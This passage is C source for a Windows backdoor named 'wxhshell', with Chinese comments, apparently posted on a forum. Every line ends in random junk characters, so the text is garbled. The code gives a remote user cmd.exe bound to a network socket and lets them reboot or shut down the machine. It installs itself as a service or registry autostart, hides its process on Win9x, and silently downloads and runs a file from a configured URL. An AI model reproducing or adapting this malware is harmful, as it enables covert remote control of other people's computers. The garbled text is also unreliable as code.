  // 帮助 KC}G_"f.$  
  case '?': { gnZ#86sO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J=Kv-@I>E  
    break; Mw,]Pt6~i  
  } %pjY^tM/  
  // 安装 @ ,oc%m  
  case 'i': { 3q`f|r  
    if(Install()) MD$W;rk(Hn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pteti  
    else sT1k]duT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ffk >IOH  
    break; Sydl[c pH$  
    } W3[>IH"+  
  // 卸载 {f/]K GGk  
  case 'r': { vmNo~clt\  
    if(Uninstall()) <m\Y$Wv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xkFa  
    else [?N,3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8!35 K  
    break; j)8$hK/e0.  
    } ">=Ep+ix  
  // 显示 wxhshell 所在路径 to).PI?  
  case 'p': { ??e|ec2%  
    char svExeFile[MAX_PATH]; 9LPXhxNwB  
    strcpy(svExeFile,"\n\r"); Dn<3#V  
      strcat(svExeFile,ExeFile); )6%*=-  
        send(wsh,svExeFile,strlen(svExeFile),0); e=h-}XRC  
    break; L44|/~  
    } ~6t<`&f  
  // 重启 7l-MV n_8  
  case 'b': { =U~53Tg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [@/p 8I  
    if(Boot(REBOOT))  g4q{ ]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |in>`:qk  
    else { tH; 6 Mp;f  
    closesocket(wsh); Q[3hOFCX  
    ExitThread(0); ^! h3#4  
    } o% Q7 el$f  
    break; +pSo(e(  
    } {Pe&J2 +  
  // 关机 7_3 PM 3C  
  case 'd': { 8>j&) @q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1E!.E=Y ?M  
    if(Boot(SHUTDOWN)) ylos6]zS8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GKEOjaE  
    else { z l`m1k-X  
    closesocket(wsh); ,#BD/dF  
    ExitThread(0); sK W~+ ]  
    } {9;-5@b  
    break; *6<4ECa7C  
    } E3p$^['vx  
  // 获取shell whe%o  
  case 's': { lE%KzX?&  
    CmdShell(wsh); H/`@6, j  
    closesocket(wsh); A- m IWTa  
    ExitThread(0); o_=4Ex "  
    break; @Oz3A<M  
  } P=}dR&gk'  
  // 退出 !/H `   
  case 'x': { #l+Rs3T:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \nyqW4nTm  
    CloseIt(wsh); %I`'it2d  
    break; lAG@nh^  
    } wvisu\V  
  // 离开 @$kzes\  
  case 'q': { 9Bpb?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?{ \7th37  
    closesocket(wsh); id+EBVHAd  
    WSACleanup(); :I /9j=@1  
    exit(1); \kKd:C{  
    break; wbr$w>n  
        } -]}#Z:&  
  } P//nYPyzg  
  } \2~\c#-k  
I+W,%)vb  
  // 提示信息 ze9n}oN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ki:t!vAO  
} S['%>  
  } ]qZj@0#7n  
V/DMkO#a  
  return; m4uh<;C~  
} dm_Pz\ *  
4W2.K0Ca  
// shell模块句柄 <#"_Qgdix  
int CmdShell(SOCKET sock) (gE<`b  
{ %@ >^JTkY8  
STARTUPINFO si; IDF0nx]  
ZeroMemory(&si,sizeof(si)); NMg(tmh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `=V1w4J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;B2&#kot7  
PROCESS_INFORMATION ProcessInfo; H/ ejO_{  
char cmdline[]="cmd"; /W f.Gt9[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -/B*\X[  
  return 0; !]7b31$M_  
} (p' /a.bn  
`'r~3kP*NT  
// 自身启动模式 OhaoLmA}6  
int StartFromService(void) iu{;|E  
{ L{;Q6_m  
typedef struct l{?9R.L  
{ bM_fuy55Op  
  DWORD ExitStatus; sm[zE /2b  
  DWORD PebBaseAddress; U4Y)Jk  
  DWORD AffinityMask; W:WRG8(F  
  DWORD BasePriority; FB,rQ9D  
  ULONG UniqueProcessId; F3q<j$y  
  ULONG InheritedFromUniqueProcessId; >}0H5Q8@  
}   PROCESS_BASIC_INFORMATION; 1W0[|Hf2v*  
~z41$~/  
PROCNTQSIP NtQueryInformationProcess; K'Wv$[~Dc  
S}Z@g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^I6Vz?0Jl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pFu!$.Fr  
 L`Ys`7  
  HANDLE             hProcess; {fEb>  
  PROCESS_BASIC_INFORMATION pbi; @kT@IQkri  
|_s,]:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &0ymAf5R  
  if(NULL == hInst ) return 0;  cFjD*r-  
zw5Ol%JF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A'u]z\&%c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -m=!SQ >9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aAd1[?&  
m>w{vqPwJ  
  if (!NtQueryInformationProcess) return 0; I+^iOa  
3T 0'zJ2f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =kOo(  
  if(!hProcess) return 0; 6>&(OV   
bq5we*" V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +>Y]1IlI  
By*YBZ  
  CloseHandle(hProcess); e!w{ap8u  
tk 5 p@l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .k up[d(  
if(hProcess==NULL) return 0; ?vik2RW  
5YI6$ZdQ  
HMODULE hMod; L"T :#>  
char procName[255]; eAQ-r\h'2  
unsigned long cbNeeded; Z)3oiLmD  
|hDN$By  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0x&L'&SpN  
]gA2.,)}D  
  CloseHandle(hProcess); 3RlNEc%)  
lF7".  
if(strstr(procName,"services")) return 1; // 以服务启动 NUh%\{  
'['x'G50  
  return 0; // 注册表启动 g>b{hkIXg  
} 931GJA~g  
o~xGE6A*"  
// 主模块 d,'gh4C  
int StartWxhshell(LPSTR lpCmdLine) J-klpr#  
{ x],XiSyp  
  SOCKET wsl; 7coVl$_Zl  
BOOL val=TRUE; zqXDD; w3  
  int port=0; r#}o +3*  
  struct sockaddr_in door; HYJEz2RF  
O ~[[JAi[  
  if(wscfg.ws_autoins) Install(); _3g!_  
"-IF_Hid  
port=atoi(lpCmdLine); 7#N= GN  
64'sJc.   
if(port<=0) port=wscfg.ws_port; 7^#O{QYol  
pgv, Su  
  WSADATA data; cxPOO#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z;dR :|%)  
0d 0ga^O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k $# ,^)T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uE%2kB*]  
  door.sin_family = AF_INET; 7D~~<45ct  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4^ 0CHy  
  door.sin_port = htons(port); !,J] 5$M  
9m"EY@-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ! bwy/A  
closesocket(wsl); kexvE 3  
return 1; KfC{/J\   
} mZnsr@KF  
>V%.=})K  
  if(listen(wsl,2) == INVALID_SOCKET) { NXS$w{^  
closesocket(wsl); B" ]a8}u  
return 1; G 40  
} zf\$T,t)  
  Wxhshell(wsl); 9zLeyw\  
  WSACleanup(); pG v*{.  
3@0!]z^W  
return 0; *^Z -4  
GJF ,w{J  
} y"_rDj`  
O^3XhTW^\~  
// 以NT服务方式启动 w`/~y   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) szOa yAS  
{ g`6I,6G  
DWORD   status = 0; .F\[AD 5  
  DWORD   specificError = 0xfffffff; z4]z3U<}3]  
AZ\f6r{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J'wJe,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >@Na6BH5v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d]?fL&jr  
  serviceStatus.dwWin32ExitCode     = 0; 0yb9R/3.  
  serviceStatus.dwServiceSpecificExitCode = 0; YEB7X>p#  
  serviceStatus.dwCheckPoint       = 0; VAdUd {  
  serviceStatus.dwWaitHint       = 0; +5:9?&lH  
wjKc!iB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ')WS :\J  
  if (hServiceStatusHandle==0) return; 2UBAk')O}  
n (Um/  
status = GetLastError(); sr<\fW  
  if (status!=NO_ERROR) PFbkkQKsT  
{ ZV-Yq !|t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,L\KS^>  
    serviceStatus.dwCheckPoint       = 0; 9S5C{~P4  
    serviceStatus.dwWaitHint       = 0; +\.0Pr  
    serviceStatus.dwWin32ExitCode     = status; JFkx=![  
    serviceStatus.dwServiceSpecificExitCode = specificError; )[E7\pc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ftV~!r  
    return; c48I-{?  
  } D3+<16[,  
+}f}!h;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h;OHpvk  
  serviceStatus.dwCheckPoint       = 0; &mba{O  
  serviceStatus.dwWaitHint       = 0; |Fx~M,Pzg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PaDm"+H@  
} =< P$mFP2*  
8xoC9!xt  
// 处理NT服务事件,比如:启动、停止 4Ub7T=LG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \rH0=~F-P  
{ @~i : 8  
switch(fdwControl) +a+DiD>./  
{ v#5hK<9  
case SERVICE_CONTROL_STOP: 8'Q&FW3"  
  serviceStatus.dwWin32ExitCode = 0; ji5Nq+S2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q_k'7Z\g$  
  serviceStatus.dwCheckPoint   = 0; Z v 7}C  
  serviceStatus.dwWaitHint     = 0; _6aI>b#yL  
  { ?nM]eUAP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TH~"y  
  } j:2*hF!E  
  return; 6""i<oR  
case SERVICE_CONTROL_PAUSE: 1[e%E#h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }e>OmfxDBt  
  break; ,Mn`kL<F  
case SERVICE_CONTROL_CONTINUE: Ai`0Ud,M@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hdbm8C3  
  break; Ed#Hilk'  
case SERVICE_CONTROL_INTERROGATE: VF~kjH2>  
  break; xr^fP~V|)0  
}; Ye/Y<Ij  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %(r.`I$  
} h9&0"LHr  
A%EGu4  
// 标准应用程序主函数 }#Kl6x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w!Ii   
{ `pd+as  
J c:j7}OOV  
// 获取操作系统版本 5RKs 2 eV  
OsIsNt=GetOsVer(); .6iJ:A6T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P#,g5  
k !g%vx  
  // 从命令行安装 ca'c5*Fs  
  if(strpbrk(lpCmdLine,"iI")) Install(); o"qG'\x  
6'.CW4L  
  // 下载执行文件 e8)8QmB{o  
if(wscfg.ws_downexe) { u X(#+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  &/)To  
  WinExec(wscfg.ws_filenam,SW_HIDE); o4YF,c+>q  
} 4B-+DH>{6  
Fw%S%*B8g  
if(!OsIsNt) { e#ne5   
// 如果时win9x,隐藏进程并且设置为注册表启动 1 @q"rPE^  
HideProc(); Tqx  
StartWxhshell(lpCmdLine); Aj"fkY|Q  
} @:P:`Zk  
else xHlO~:Lc  
  if(StartFromService()) q)RTy|NJ^  
  // 以服务方式启动 %)y-BdSp.  
  StartServiceCtrlDispatcher(DispatchTable); `OWwqLoeA  
else %eJE@$  
  // 普通方式启动 vZ|Wj] ;o  
  StartWxhshell(lpCmdLine); *>jJ<8!  
MVp+2@)}s  
return 0; F441K,I  
}
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只看该作者 1 发表于: 2006-10-10
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